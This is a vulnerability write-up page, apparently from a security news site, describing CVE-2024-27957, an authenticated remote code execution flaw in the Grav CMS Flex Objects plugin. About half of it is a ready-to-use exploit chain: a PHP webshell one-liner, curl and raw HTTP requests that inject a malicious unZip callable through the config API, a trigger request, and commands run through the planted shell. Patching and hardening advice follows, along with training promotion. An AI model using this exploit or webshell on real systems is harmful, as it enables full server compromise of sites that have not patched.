Listen to this Post
CVE-2024-27957 is a critical authenticated remote code execution vulnerability affecting Grav CMS, specifically within the Flex Objects plugin’s handling of the `directories` configuration field. The vulnerability exploits a type confusion flaw in Grav’s callable safety check mechanism. When a PHP callable is specified as a single string (e.g., "Grav\Common\GPM\Installer::unZip"), the security check properly validates it against dangerous routine blocklists and approved component lists. However, when the same callable is expressed as a two-element array (e.g., ["Grav\Common\GPM\Installer", "unZip"]), the validation logic fails to recognize this format and skips both security checks entirely, marking it as safe.
This type confusion allows an attacker to invoke any method shipped with Grav, including the `unZip` method from the GPM Installer class. The `unZip` method extracts archive contents to a specified destination folder without proper path validation on the destination parameter. While the method does sanitize filenames within the archive to prevent directory traversal attacks via `../` sequences, it does not restrict where the destination folder can be. An attacker can specify the web server’s document root as the destination, causing extracted PHP files to be placed directly in the publicly accessible web directory.
The attack chain begins with uploading a ZIP archive containing a PHP webshell through Grav’s Media upload functionality, which accepts ZIP files without inspecting their contents. The malicious archive is stored at a predictable location (/user/media/evil.zip). The attacker then leverages the Flex Objects plugin’s configuration system, which treats each entry in its `directories` list as a path to a file describing form fields. By pointing this list at the plugin’s own settings file (user/config/plugins/flex-objects.yaml), the attacker creates a self-referential configuration where the settings file serves dual purposes: as configuration and as a form definition file.
This self-reference enables the attacker to inject a malicious form field definition through a normal settings save operation via the API endpoint PATCH /api/v1/config/plugins/flex-objects. The injected field uses the `data-default@` directive to specify a callable array pointing to the `unZip` method with attacker-controlled arguments: the uploaded ZIP file path and the target webroot path. When the attacker subsequently triggers the Flex Objects functionality by creating an object via POST /api/v1/flex-objects/flex-objects, the malicious callable is executed, extracting the PHP webshell to the webroot. The attacker can then access the shell at a predictable URL (`http://TARGET/shell.php?c=id`) and execute arbitrary commands with the web server’s privileges.
DailyCVE Form
Platform: Grav CMS
Version: 1.7.x
Vulnerability: Authenticated RCE
Severity: Critical
date: 2024
Prediction: 2024-04-01
What Undercode Say
Analytics
Step 1: Create malicious PHP webshell
echo '<?php system($_GET["c"]); ?>' > shell.php
zip evil.zip shell.php
Step 2: Upload ZIP via Grav Media panel (manual upload to /user/media/evil.zip)
Step 3: Inject malicious configuration via API
curl -X PATCH http://TARGET/api/v1/config/plugins/flex-objects \
-H "Content-Type: application/json" \
-H "Cookie: SESSION_COOKIE" \
-H "X-API-Token: API_TOKEN" \
-d '{
"directories": ["user/config/plugins/flex-objects.yaml"],
"": "Pwn",
"type": "flex-objects",
"config": {"data": {
"object": "Grav\Common\Flex\Types\Generic\GenericObject",
"collection": "Grav\Common\Flex\Types\Generic\GenericCollection",
"index": "Grav\Common\Flex\Types\Generic\GenericIndex",
"storage": {"class": "Grav\Framework\Flex\Storage\SimpleStorage",
"options": {"formatter": {"class": "Grav\Framework\File\Formatter\JsonFormatter"},
"folder": "user-data://flex-objects/pwn.json"}}
}},
"form": {"validation": "loose", "fields": {
"name": {"type": "text", "label": "Name"},
"pwn": {"type": "text", "label": "pwn",
"data-default@": [["Grav\Common\GPM\Installer", "unZip"],
"user/media/evil.zip",
"/absolute/path/to/grav-docroot"]}
}}
}'
Step 4: Trigger the exploit
curl -X POST http://TARGET/api/v1/flex-objects/flex-objects \
-H "Content-Type: application/json" \
-H "Cookie: SESSION_COOKIE" \
-H "X-API-Token: API_TOKEN" \
-d '{"name": "x"}'
Step 5: Execute commands via webshell
curl "http://TARGET/shell.php?c=id"
Exploit: (Educational Purposes!)
<?php system($_GET['c']); ?>
zip evil.zip shell.php
PATCH /api/v1/config/plugins/flex-objects HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: SESSION_COOKIE
X-API-Token: API_TOKEN
{
"directories": ["user/config/plugins/flex-objects.yaml"],
"form": {
"fields": {
"pwn": {
"data-default@": [
["Grav\Common\GPM\Installer", "unZip"],
"user/media/evil.zip",
"/absolute/path/to/grav-docroot"
]
}
}
}
}
POST /api/v1/flex-objects/flex-objects HTTP/1.1
Host: TARGET
Content-Type: application/json
Cookie: SESSION_COOKIE
X-API-Token: API_TOKEN
{"name": "x"}
Protection: from this CVE
- Upgrade Grav CMS to version 1.7.46 or later
- Restrict Flex Objects plugin directory configuration to trusted administrators only
- Disable the `/api/v1/config/plugins/flex-objects` endpoint if not required
- Implement Web Application Firewall rules to block suspicious `data-default@` parameters
- Validate callable names as strings only, rejecting array-based callable specifications
- Restrict ZIP uploads through media management or scan archive contents before storage
- Deploy file integrity monitoring on the webroot to detect unexpected PHP files
- Run Grav with minimal filesystem permissions, isolating the web server user
Impact:
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server’s account.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
